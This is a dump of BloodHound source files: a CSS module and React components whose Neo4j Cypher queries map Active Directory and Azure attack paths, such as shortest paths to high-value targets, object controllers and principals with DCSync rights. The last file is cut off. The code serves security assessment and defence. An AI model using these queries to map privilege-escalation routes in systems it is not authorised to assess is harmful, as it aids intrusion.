.itemlist :global table > tbody > tr {
font-family: Helvetica, serif;
font-size: 12px;
border: 0 solid;
}
.itemlist :global table > tbody > tr > td:nth-of-type(1) {
border-bottom: 1px solid #94989d;
border-top: 0 solid;
}
.light :global table > tbody > tr > td:nth-of-type(1) {
border-bottom: 1px solid #94989d;
}
.itemlist :global table > tbody > tr:last-child > td {
border-bottom: 0 solid;
border-top: 0 solid;
}
.itemlist :global table > tbody > tr > td {
border-top: 0 solid;
}
.dark :global table > tbody > tr > td {
border-bottom: 1px solid #94989d;
}
.light :global table > tbody > tr > td {
border-bottom: 1px solid #94989d;
}
.dark :global table > tbody > tr:hover {
background-color: #0d1013;
}
.dark :global table > tbody > tr:hover {
background-color: #406f8e;
}
.dark :global table > tbody > tr {
opacity: 0.72;
background-color: #2b333e;
}
.light :global table > tbody > tr {
background-color: #e7e7e7;
opacity: 0.87;
}
.light table > tbody > tr td:nth-of-type(1) {
color: #1d2735;
}
.light table > tbody > tr td:nth-of-type(2) {
color: #1d2735;
font-weight: bold;
}
hr {
border-color: #94989d;
}
.dl {
margin-right: 0;
}
.dl > h5 {
margin-top: 10px;
margin-bottom: 5px;
padding-right: 10px;
padding-left: 10px;
font-size: 18px;
font-family: Helvetica, serif;
font-weight: bold;
}
.dark > .dl > h5 {
color: white !important;
}
.light > .dl > h5 {
color: black;
}
.dark .itemlist td {
color: white;
opacity: 1;
}
``` | /content/code_sandbox/src/components/SearchContainer/Tabs/PrebuiltQueries.module.css | css | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 733 |
```jsx
import React, { useEffect, useState, useRef, useContext } from 'react';
import { AppContext } from '../../../AppContext';
import clsx from 'clsx';
import styles from './NodeData.module.css';
import CollapsibleSection from './Components/CollapsibleSection';
import { Table } from 'react-bootstrap';
import NodeCypherLink from './Components/NodeCypherLink';
import NodeDisplayLink from './Components/NodeDisplayLink';
import MappedNodeProps from './Components/MappedNodeProps';
import ExtraNodeProps from './Components/ExtraNodeProps';
import NodePlayCypherLink from './Components/NodePlayCypherLink';
import { withAlert } from 'react-alert';
const AZManagementGroupNodeData = ({}) => {
const [visible, setVisible] = useState(false);
const [objectid, setobjectid] = useState(null);
const [label, setLabel] = useState(null);
const [domain, setDomain] = useState(null);
const [nodeProps, setNodeProps] = useState({});
const context = useContext(AppContext);
useEffect(() => {
emitter.on('nodeClicked', nodeClickEvent);
return () => {
emitter.removeListener('nodeClicked', nodeClickEvent);
};
}, []);
const nodeClickEvent = (type, id, blocksinheritance, domain) => {
if (type === 'AZManagementGroup') {
setVisible(true);
setobjectid(id);
setDomain(domain);
let loadData = async () => {
let session = driver.session();
let results = await session.run(
`MATCH (n:AZManagementGroup {objectid: $objectid}) RETURN n AS node`,
{
objectid: id,
}
);
let props = results.records[0].get('node').properties;
setNodeProps(props);
setLabel(props.name || props.azname || objectid);
};
loadData();
} else {
setobjectid(null);
setVisible(false);
}
};
const displayMap = {
objectid: 'Object ID',
tenantid: 'Tenant ID',
};
return objectid === null ? (
<div></div>
) : (
<div
className={clsx(
!visible && 'displaynone',
context.darkMode ? styles.dark : styles.light
)}
>
<div className={clsx(styles.dl)}>
<h5>{label || objectid}</h5>
<CollapsibleSection header='OVERVIEW'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='Reachable High Value Targets'
target={objectid}
baseQuery={
'MATCH (m:AZManagementGroup {objectid: $objectid}),(n {highvalue:true}),p=shortestPath((m)-[r*1..]->(n)) WHERE NONE (r IN relationships(p) WHERE type(r)= "GetChanges") AND NONE (r in relationships(p) WHERE type(r)="GetChangesAll") AND NOT m=n'
}
start={label}
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<MappedNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<ExtraNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<CollapsibleSection header='DESCENDANT OBJECTS'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='Total Management Groups'
target={objectid}
baseQuery={
'MATCH p=(o:AZManagementGroup {objectid: $objectid})-[r:AZContains*1..]->(n:AZManagementGroup)'
}
distinct
/>
<NodeCypherLink
property='Total Subscription Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZManagementGroup {objectid: $objectid})-[r:AZContains*1..]->(n:AZSubscription)'
}
distinct
/>
<NodeCypherLink
property='Total Resource Group Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZManagementGroup {objectid: $objectid})-[r:AZContains*1..]->(n:AZResourceGroup)'
}
distinct
/>
<NodeCypherLink
property='Total Automation Account Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZManagementGroup {objectid: $objectid})-[r:AZContains*1..]->(n:AZAutomationAccount)'
}
distinct
/>
<NodeCypherLink
property='Total Container Registry Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZManagementGroup {objectid: $objectid})-[r:AZContains*1..]->(n:AZContainerRegistry)'
}
distinct
/>
<NodeCypherLink
property='Total Function App Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZManagementGroup {objectid: $objectid})-[r:AZContains*1..]->(n:AZFunctionApp)'
}
distinct
/>
<NodeCypherLink
property='Total Key Vault Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZManagementGroup {objectid: $objectid})-[r:AZContains*1..]->(n:AZKeyVault)'
}
distinct
/>
<NodeCypherLink
property='Total Logic App Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZManagementGroup {objectid: $objectid})-[r:AZContains*1..]->(n:AZLogicApp)'
}
distinct
/>
<NodeCypherLink
property='Total Managed Cluster Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZManagementGroup {objectid: $objectid})-[r:AZContains*1..]->(n:AZManagedCluster)'
}
distinct
/>
<NodeCypherLink
property='Total VM Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZManagementGroup {objectid: $objectid})-[r:AZContains*1..]->(n:AZVM)'
}
distinct
/>
<NodeCypherLink
property='Total VM Scale Set Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZManagementGroup {objectid: $objectid})-[r:AZContains*1..]->(n:AZVMScaleSet)'
}
distinct
/>
<NodeCypherLink
property='Total Web App Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZManagementGroup {objectid: $objectid})-[r:AZContains*1..]->(n:AZWebApp)'
}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<CollapsibleSection header='INBOUND OBJECT CONTROL'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='Explicit Object Controllers'
target={objectid}
baseQuery={
'MATCH p = (n)-[r:AZOwns|AZUserAccessAdministrator]->(g:AZManagementGroup {objectid: $objectid})'
}
end={label}
distinct
/>
<NodeCypherLink
property='Unrolled Object Controllers'
target={objectid}
baseQuery={
'MATCH p = (n)-[r:AZMemberOf]->(g1)-[r1:AZOwns|AZUserAccessAdministrator]->(g2:AZManagementGroup {objectid: $objectid}) WITH LENGTH(p) as pathLength, p, n WHERE NONE (x in NODES(p)[1..(pathLength-1)] WHERE x.objectid = g2.objectid) AND NOT n.objectid = g2.objectid'
}
end={label}
distinct
/>
<NodePlayCypherLink
property='Transitive Object Controllers'
target={objectid}
baseQuery={
'MATCH (n) WHERE NOT n.objectid=$objectid WITH n MATCH p = shortestPath((n)-[r*1..]->(g:AZManagementGroup {objectid: $objectid}))'
}
end={label}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
</div>
</div>
);
};
export default withAlert()(AZManagementGroupNodeData);
``` | /content/code_sandbox/src/components/SearchContainer/Tabs/AZManagementGroupNodeData.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 1,978 |
```jsx
import React, { useEffect, useState } from 'react';
import clsx from 'clsx';
import CollapsibleSection from './Components/CollapsibleSection';
import NodeCypherLink from './Components/NodeCypherLink';
import MappedNodeProps from './Components/MappedNodeProps';
import ExtraNodeProps from './Components/ExtraNodeProps';
import NodePlayCypherLink from './Components/NodePlayCypherLink';
import { withAlert } from 'react-alert';
import { Table } from 'react-bootstrap';
import styles from './NodeData.module.css';
import { useContext } from 'react';
import { AppContext } from '../../../AppContext';
import NodeDisplayLink from './Components/NodeDisplayLink';
const AZAppNodeData = () => {
const [visible, setVisible] = useState(false);
const [objectid, setobjectid] = useState(null);
const [label, setLabel] = useState(null);
const [domain, setDomain] = useState(null);
const [nodeProps, setNodeProps] = useState({});
const [servicePrincipal, setServicePrincipal] = useState(null);
const context = useContext(AppContext);
useEffect(() => {
emitter.on('nodeClicked', nodeClickEvent);
return () => {
emitter.removeListener('nodeClicked', nodeClickEvent);
};
}, []);
const nodeClickEvent = (type, id, blocksinheritance, domain) => {
if (type === 'AZApp') {
setVisible(true);
setobjectid(id);
setDomain(domain);
let loadData = async () => {
let session = driver.session();
let results = await session.run(
`MATCH (n:AZApp {objectid: $objectid}) OPTIONAL MATCH (n)-[:AZRunsAs]->(m:AZServicePrincipal) RETURN n AS node, m AS serviceprincipal`,
{
objectid: id,
}
);
let props = results.records[0].get('node').properties;
setNodeProps(props);
setLabel(props.name || props.azname || objectid);
let sp = results.records[0].get('serviceprincipal');
if (sp !== null) {
setServicePrincipal(sp.properties.objectid);
}
};
loadData();
} else {
setobjectid(null);
setVisible(false);
}
};
const displayMap = {
displayname: 'Display Name',
objectid: 'Object ID',
description: 'Description',
whencreated: 'Creation Time',
appid: 'App ID',
publisherdomain: 'Publisher Domain',
signinaudience: 'Sign In Audience',
tenantid: 'Tenant ID',
};
return objectid === null ? (
<div></div>
) : (
<div
className={clsx(
!visible && 'displaynone',
context.darkMode ? styles.dark : styles.light
)}
>
<div className={clsx(styles.dl)}>
<h5>{label || objectid}</h5>
<CollapsibleSection header='OVERVIEW'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='Reachable High Value Targets'
target={objectid}
baseQuery={
'MATCH (m:AZApp {objectid: $objectid}),(n {highvalue:true}),p=shortestPath((m)-[r*1..]->(n)) WHERE NONE (r IN relationships(p) WHERE type(r)= "GetChanges") AND NONE (r in relationships(p) WHERE type(r)="GetChangesAll") AND NOT m=n'
}
start={label}
/>
<NodeDisplayLink
graphQuery={
'MATCH p=(:AZApp {objectid: $objectid})-[:AZRunsAs]->(:AZServicePrincipal) RETURN p'
}
queryProps={{ objectid: objectid }}
title={'Service Principal'}
value={servicePrincipal}
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<MappedNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<ExtraNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<CollapsibleSection header='INBOUND OBJECT CONTROL'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='Explicit Object Controllers'
target={objectid}
baseQuery={
'MATCH p = (n)-[r:AZAddOwner|AZAddSecret|AZAppAdmin|AZCloudAppAdmin|AZMGAddOwner|AZMGAddSecret|AZOwns]->(g:AZApp {objectid: $objectid})'
}
end={label}
distinct
/>
<NodeCypherLink
property='Unrolled Object Controllers'
target={objectid}
baseQuery={
'MATCH p = (n)-[r:MemberOf*1..]->(g1)-[r1:AZAddOwner|AZAddSecret|AZAppAdmin|AZCloudAppAdmin|AZMGAddOwner|AZMGAddSecret|AZOwns]->(g2:AZApp {objectid: $objectid}) WITH LENGTH(p) as pathLength, p, n WHERE NONE (x in NODES(p)[1..(pathLength-1)] WHERE x.objectid = g2.objectid) AND NOT n.objectid = g2.objectid'
}
end={label}
distinct
/>
<NodePlayCypherLink
property='Transitive Object Controllers'
target={objectid}
baseQuery={
'MATCH (n) WHERE NOT n.objectid=$objectid WITH n MATCH p = shortestPath((n)-[r*1..]->(g:AZApp {objectid: $objectid}))'
}
end={label}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
{/* <Notes objectid={objectid} type={'AZUser'} />
<NodeGallery
objectid={objectid}
type={'AZUser'}
visible={visible}
/> */}
</div>
</div>
);
};
AZAppNodeData.propTypes = {};
export default withAlert()(AZAppNodeData);
``` | /content/code_sandbox/src/components/SearchContainer/Tabs/AZApp.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 1,397 |
```jsx
import React, { useContext, useEffect, useState } from 'react';
import clsx from 'clsx';
import CollapsibleSection from './Components/CollapsibleSection';
import NodeCypherLinkComplex from './Components/NodeCypherLinkComplex';
import NodeCypherLink from './Components/NodeCypherLink';
import NodeCypherNoNumberLink from './Components/NodeCypherNoNumberLink';
import MappedNodeProps from './Components/MappedNodeProps';
import ExtraNodeProps from './Components/ExtraNodeProps';
import NodePlayCypherLink from './Components/NodePlayCypherLink';
import { Table } from 'react-bootstrap';
import styles from './NodeData.module.css';
import { AppContext } from '../../../AppContext';
const AZContainerRegistryNodeData = () => {
const [visible, setVisible] = useState(false);
const [objectid, setObjectid] = useState(null);
const [label, setLabel] = useState(null);
const [domain, setDomain] = useState(null);
const [nodeProps, setNodeProps] = useState({});
const context = useContext(AppContext);
useEffect(() => {
emitter.on('nodeClicked', nodeClickEvent);
return () => {
emitter.removeListener('nodeClicked', nodeClickEvent);
};
}, []);
const nodeClickEvent = (type, id, blocksinheritance, domain) => {
if (type === 'AZContainerRegistry') {
setVisible(true);
setObjectid(id);
setDomain(domain);
let session = driver.session();
session
.run(`MATCH (n:AZContainerRegistry {objectid: $objectid}) RETURN n AS node`, {
objectid: id,
})
.then((r) => {
let props = r.records[0].get('node').properties;
setNodeProps(props);
setLabel(props.name || props.azname || objectid);
session.close();
});
} else {
setObjectid(null);
setVisible(false);
}
};
const displayMap = {
objectid: 'Object ID',
};
return objectid === null ? (
<div></div>
) : (
<div
className={clsx(
!visible && 'displaynone',
context.darkMode ? styles.dark : styles.light
)}
>
<div className={clsx(styles.dl)}>
<h5>{label || objectid}</h5>
<CollapsibleSection header='OVERVIEW'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherNoNumberLink
target={objectid}
property='See Container Registry within Tenant'
query='MATCH p = (d:AZTenant)-[r:AZContains*1..]->(u:AZContainerRegistry {objectid: $objectid}) RETURN p'
/>
<NodeCypherLink
baseQuery={
'MATCH p=(:AZContainerRegistry {objectid:$objectid})-[:AZManagedIdentity]->(n)'
}
property={'Managed Identities'}
target={objectid}
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<MappedNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<ExtraNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<CollapsibleSection header={'INBOUND OBJECT CONTROL'}>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='Explicit Object Controllers'
target={objectid}
baseQuery={
'MATCH p=(n)-[r:AZContributor|AZUserAccessAdministrator|AZOwns]->(c:AZContainerRegistry {objectid:$objectid})'
}
end={label}
distinct
/>
<NodeCypherLink
property='Unrolled Object Controllers'
target={objectid}
baseQuery={
'MATCH p=(n)-[r:AZMemberOf]->(g)-[r1:AZContributor|AZUserAccessAdministrator|AZOwns]->(c:AZContainerRegistry {objectid:$objectid})'
}
end={label}
distinct
/>
<NodePlayCypherLink
property='Transitive Object Controllers'
target={objectid}
baseQuery={
'MATCH (n) WHERE NOT n.objectid=$objectid WITH n MATCH p = shortestPath((n)-[r1*1..]->(c:AZContainerRegistry {objectid:$objectid}))'
}
end={label}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
</div>
</div>
);
};
AZContainerRegistryNodeData.propTypes = {};
export default AZContainerRegistryNodeData;
``` | /content/code_sandbox/src/components/SearchContainer/Tabs/AZContainerRegistryNodeData.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 1,079 |
```jsx
import React, { useContext, useEffect, useState } from 'react';
import clsx from 'clsx';
import CollapsibleSection from './Components/CollapsibleSection';
import NodeCypherLinkComplex from './Components/NodeCypherLinkComplex';
import NodeCypherLink from './Components/NodeCypherLink';
import NodeCypherNoNumberLink from './Components/NodeCypherNoNumberLink';
import MappedNodeProps from './Components/MappedNodeProps';
import ExtraNodeProps from './Components/ExtraNodeProps';
import NodePlayCypherLink from './Components/NodePlayCypherLink';
import NodeCypherLabel from './Components/NodeCypherLabel';
import { Table } from 'react-bootstrap';
import styles from './NodeData.module.css';
import { AppContext } from '../../../AppContext';
const DomainNodeData = () => {
const [visible, setVisible] = useState(false);
const [objectid, setObjectid] = useState(null);
const [label, setLabel] = useState(null);
const [domain, setDomain] = useState('');
const [nodeProps, setNodeProps] = useState({});
const context = useContext(AppContext);
useEffect(() => {
emitter.on('nodeClicked', nodeClickEvent);
return () => {
emitter.removeListener('nodeClicked', nodeClickEvent);
};
}, []);
const nodeClickEvent = (type, id, blocksinheritance, domain) => {
if (type === 'Domain') {
setVisible(true);
setObjectid(id);
let session = driver.session();
session
.run(
`MATCH (n:Domain {objectid: $objectid}) RETURN n AS node`,
{
objectid: id,
}
)
.then((r) => {
let props = r.records[0].get('node').properties;
setNodeProps(props);
setLabel(props.name || props.azname || objectid);
setDomain(props.name || objectid);
session.close();
});
} else {
setObjectid(null);
setVisible(false);
}
};
const displayMap = {
objectid: 'Object ID',
description: 'Description',
functionallevel: 'Domain Functional Level',
'ms-ds-machineaccountquota': 'Machine Account Quota',
};
return objectid === null ? (
<div></div>
) : (
<div
className={clsx(
!visible && 'displaynone',
context.darkMode ? styles.dark : styles.light
)}
>
<div className={clsx(styles.dl)}>
<h5>{label || objectid}</h5>
<CollapsibleSection header='OVERVIEW'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLabel
property={'Users'}
target={objectid}
baseQuery={
'MATCH (n:User) WHERE n.domain=$domain'
}
domain={domain}
/>
<NodeCypherLabel
property={'Groups'}
target={objectid}
baseQuery={
'MATCH (n:Group) WHERE n.domain=$domain'
}
domain={domain}
/>
<NodeCypherLabel
property={'Computers'}
target={objectid}
baseQuery={
'MATCH (n:Computer) WHERE n.domain=$domain'
}
domain={domain}
/>
<NodeCypherLabel
property={'OUs'}
target={objectid}
baseQuery={
'MATCH (n:OU) WHERE n.domain=$domain'
}
domain={domain}
/>
<NodeCypherLabel
property={'GPOs'}
target={objectid}
baseQuery={
'MATCH (n:GPO) WHERE n.domain=$domain'
}
domain={domain}
/>
<NodeCypherNoNumberLink
target={objectid}
property='Map OU Structure'
query='MATCH p = (d:Domain {objectid: $objectid})-[r:Contains*1..]->(n) RETURN p'
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<MappedNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<ExtraNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<CollapsibleSection header='FOREIGN MEMBERS'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='Foreign Users'
target={domain}
baseQuery={
'MATCH (n:User) WHERE NOT n.domain=$objectid WITH n MATCH (b:Group) WHERE b.domain=$objectid WITH n,b MATCH p=(n)-[r:MemberOf]->(b)'
}
/>
<NodeCypherLink
property='Foreign Groups'
target={domain}
baseQuery={
'MATCH (n:Group) WHERE NOT n.domain=$objectid WITH n MATCH (b:Group) WHERE b.domain=$objectid WITH n,b MATCH p=(n)-[r:MemberOf]->(b)'
}
/>
<NodeCypherLinkComplex
property='Foreign Admins'
target={domain}
countQuery={
'OPTIONAL MATCH (u)-[:AdminTo]->(c {domain:$objectid}) WHERE NOT u.domain=$objectid OPTIONAL MATCH (u)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c {domain:$objectid}) WHERE NOT u.domain=$objectid RETURN count(distinct(u))'
}
graphQuery={
'MATCH (u:User) WHERE NOT u.domain = $objectid OPTIONAL MATCH p1 = (u)-[:AdminTo]->(c {domain:$objectid}) OPTIONAL MATCH p2 = (u)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c {domain:$objectid}) RETURN p1,p2'
}
/>
<NodeCypherLink
property='Foreign GPO Controllers'
target={domain}
baseQuery={
'MATCH (n) WHERE NOT n.domain=$objectid WITH n MATCH (b:GPO) WHERE b.domain=$objectid WITH n,b MATCH p=(n)-[r]->(b) WHERE r.isacl=true'
}
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<CollapsibleSection header='INBOUND TRUSTS'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='First Degree Trusts'
target={objectid}
baseQuery={
'MATCH p=(a:Domain {objectid: $objectid})<-[r:TrustedBy]-(n:Domain)'
}
/>
<NodeCypherLink
property='Effective Inbound Trusts'
target={objectid}
baseQuery={
'MATCH (n:Domain) WHERE NOT n.objectid=$objectid WITH n MATCH p=shortestPath((a:Domain {objectid: $objectid})<-[r:TrustedBy*1..]-(n))'
}
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<CollapsibleSection header='OUTBOUND TRUSTS'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='First Degree Trusts'
target={objectid}
baseQuery={
'MATCH p=(a:Domain {objectid: $objectid})-[r:TrustedBy]->(n:Domain)'
}
/>
<NodeCypherLink
property='Effective Outbound Trusts'
target={objectid}
baseQuery={
'MATCH (n:Domain) WHERE NOT n.objectid=$objectid MATCH p=shortestPath((a:Domain {objectid: $objectid})-[r:TrustedBy*1..]->(n))'
}
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<CollapsibleSection header='INBOUND CONTROL RIGHTS'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='First Degree Controllers'
target={objectid}
baseQuery={
'MATCH p=(n)-[r]->(u:Domain {objectid: $objectid}) WHERE r.isacl=true'
}
distinct
/>
<NodeCypherLink
property='Unrolled Controllers'
target={objectid}
baseQuery={
'MATCH p=(n)-[r:MemberOf*1..]->(g:Group)-[r1]->(u:Domain {objectid: $objectid}) WHERE r1.isacl=true'
}
distinct
/>
<NodePlayCypherLink
property='Transitive Controllers'
target={objectid}
baseQuery={
'MATCH p=shortestPath((n)-[r1:MemberOf|AllExtendedRights|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns*1..]->(u:Domain {objectid: $objectid})) WHERE NOT n.objectid=$objectid'
}
distinct
/>
<NodeCypherLinkComplex
property='Calculated Principals with DCSync Privileges'
target={objectid}
countQuery={
'MATCH (n1)-[:MemberOf|GetChanges*1..]->(u:Domain {objectid: $objectid}) WITH n1,u MATCH (n1)-[:MemberOf|GetChangesAll*1..]->(u) WITH n1,u MATCH p = (n1)-[:MemberOf|GetChanges|GetChangesAll*1..]->(u) RETURN COUNT(DISTINCT(n1))'
}
graphQuery={
'MATCH (n1)-[:MemberOf|GetChanges*1..]->(u:Domain {objectid: $objectid}) WITH n1,u MATCH (n1)-[:MemberOf|GetChangesAll*1..]->(u) WITH n1,u MATCH p = (n1)-[:MemberOf|GetChanges|GetChangesAll*1..]->(u) RETURN p'
}
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
{/* <Notes objectid={objectid} type={'Domain'} />
<NodeGallery
objectid={objectid}
type={'Domain'}
visible={visible}
/> */}
</div>
</div>
);
};
DomainNodeData.propTypes = {};
export default DomainNodeData;
``` | /content/code_sandbox/src/components/SearchContainer/Tabs/DomainNodeData.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 2,378 |
```jsx
import React, { useContext, useEffect, useState } from 'react';
import clsx from 'clsx';
import CollapsibleSection from './Components/CollapsibleSection';
import NodeCypherLink from './Components/NodeCypherLink';
import MappedNodeProps from './Components/MappedNodeProps';
import ExtraNodeProps from './Components/ExtraNodeProps';
import NodePlayCypherLink from './Components/NodePlayCypherLink';
import { Table } from 'react-bootstrap';
import styles from './NodeData.module.css';
import { AppContext } from '../../../AppContext';
const AZTenantNodeData = () => {
const [visible, setVisible] = useState(false);
const [objectid, setObjectid] = useState(null);
const [label, setLabel] = useState(null);
const [domain, setDomain] = useState(null);
const [nodeProps, setNodeProps] = useState({});
const context = useContext(AppContext);
useEffect(() => {
emitter.on('nodeClicked', nodeClickEvent);
return () => {
emitter.removeListener('nodeClicked', nodeClickEvent);
};
}, []);
const nodeClickEvent = (type, id, blocksinheritance, domain) => {
if (type === 'AZTenant') {
setVisible(true);
setObjectid(id);
setDomain(domain);
let session = driver.session();
session
.run(
`MATCH (n:AZTenant {objectid: $objectid}) RETURN n AS node`,
{
objectid: id,
}
)
.then((r) => {
let props = r.records[0].get('node').properties;
setNodeProps(props);
setLabel(props.name || props.azname || objectid);
session.close();
});
} else {
setObjectid(null);
setVisible(false);
}
};
const displayMap = {
objectid: 'Object ID',
displayname: 'Display Name',
};
return objectid === null ? (
<div></div>
) : (
<div
className={clsx(
!visible && 'displaynone',
context.darkMode ? styles.dark : styles.light
)}
>
<div className={clsx(styles.dl)}>
<h5>{label || objectid}</h5>
<MappedNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<ExtraNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<CollapsibleSection header='DESCENDANT OBJECTS'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='Total Management Groups'
target={objectid}
baseQuery={
'MATCH p=(o:AZTenant {objectid: $objectid})-[r:AZContains*1..]->(n:AZManagementGroup)'
}
distinct
/>
<NodeCypherLink
property='Total Subscription Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZTenant {objectid: $objectid})-[r:AZContains*1..]->(n:AZSubscription)'
}
distinct
/>
<NodeCypherLink
property='Total Resource Group Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZTenant {objectid: $objectid})-[r:AZContains*1..]->(n:AZResourceGroup)'
}
distinct
/>
<NodeCypherLink
property='Total Automation Account Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZTenant {objectid: $objectid})-[r:AZContains*1..]->(n:AZAutomationAccount)'
}
distinct
/>
<NodeCypherLink
property='Total Container Registry Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZTenant {objectid: $objectid})-[r:AZContains*1..]->(n:AZContainerRegistry)'
}
distinct
/>
<NodeCypherLink
property='Total Function App Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZTenant {objectid: $objectid})-[r:AZContains*1..]->(n:AZFunctionApp)'
}
distinct
/>
<NodeCypherLink
property='Total Key Vault Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZTenant {objectid: $objectid})-[r:AZContains*1..]->(n:AZKeyVault)'
}
distinct
/>
<NodeCypherLink
property='Total Logic App Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZTenant {objectid: $objectid})-[r:AZContains*1..]->(n:AZLogicApp)'
}
distinct
/>
<NodeCypherLink
property='Total Managed Cluster Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZTenant {objectid: $objectid})-[r:AZContains*1..]->(n:AZManagedCluster)'
}
distinct
/>
<NodeCypherLink
property='Total VM Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZTenant {objectid: $objectid})-[r:AZContains*1..]->(n:AZVM)'
}
distinct
/>
<NodeCypherLink
property='Total VM Scale Set Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZTenant {objectid: $objectid})-[r:AZContains*1..]->(n:AZVMScaleSet)'
}
distinct
/>
<NodeCypherLink
property='Total Web App Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZTenant {objectid: $objectid})-[r:AZContains*1..]->(n:AZWebApp)'
}
distinct
/>
<NodeCypherLink
property='Total App Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZTenant {objectid: $objectid})-[r:AZContains*1..]->(n:AZApp)'
}
distinct
/>
<NodeCypherLink
property='Total Device Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZTenant {objectid: $objectid})-[r:AZContains*1..]->(n:AZDevice)'
}
distinct
/>
<NodeCypherLink
property='Total Group Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZTenant {objectid: $objectid})-[r:AZContains*1..]->(n:AZGroup)'
}
distinct
/>
<NodeCypherLink
property='Total Role Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZTenant {objectid: $objectid})-[r:AZContains*1..]->(n:AZRole)'
}
distinct
/>
<NodeCypherLink
property='Total Service Principal Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZTenant {objectid: $objectid})-[r:AZContains*1..]->(n:AZServicePrincipal)'
}
distinct
/>
<NodeCypherLink
property='Total User Objects'
target={objectid}
baseQuery={
'MATCH p=(o:AZTenant {objectid: $objectid})-[r:AZContains*1..]->(n:AZUser)'
}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<CollapsibleSection header='INBOUND CONTROL'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='Global Admins'
target={objectid}
baseQuery={
'MATCH p=(n)-[r:AZGlobalAdmin]->(o:AZTenant {objectid: $objectid})'
}
distinct
/>
<NodeCypherLink
property='Privileged Role Admins'
target={objectid}
baseQuery={
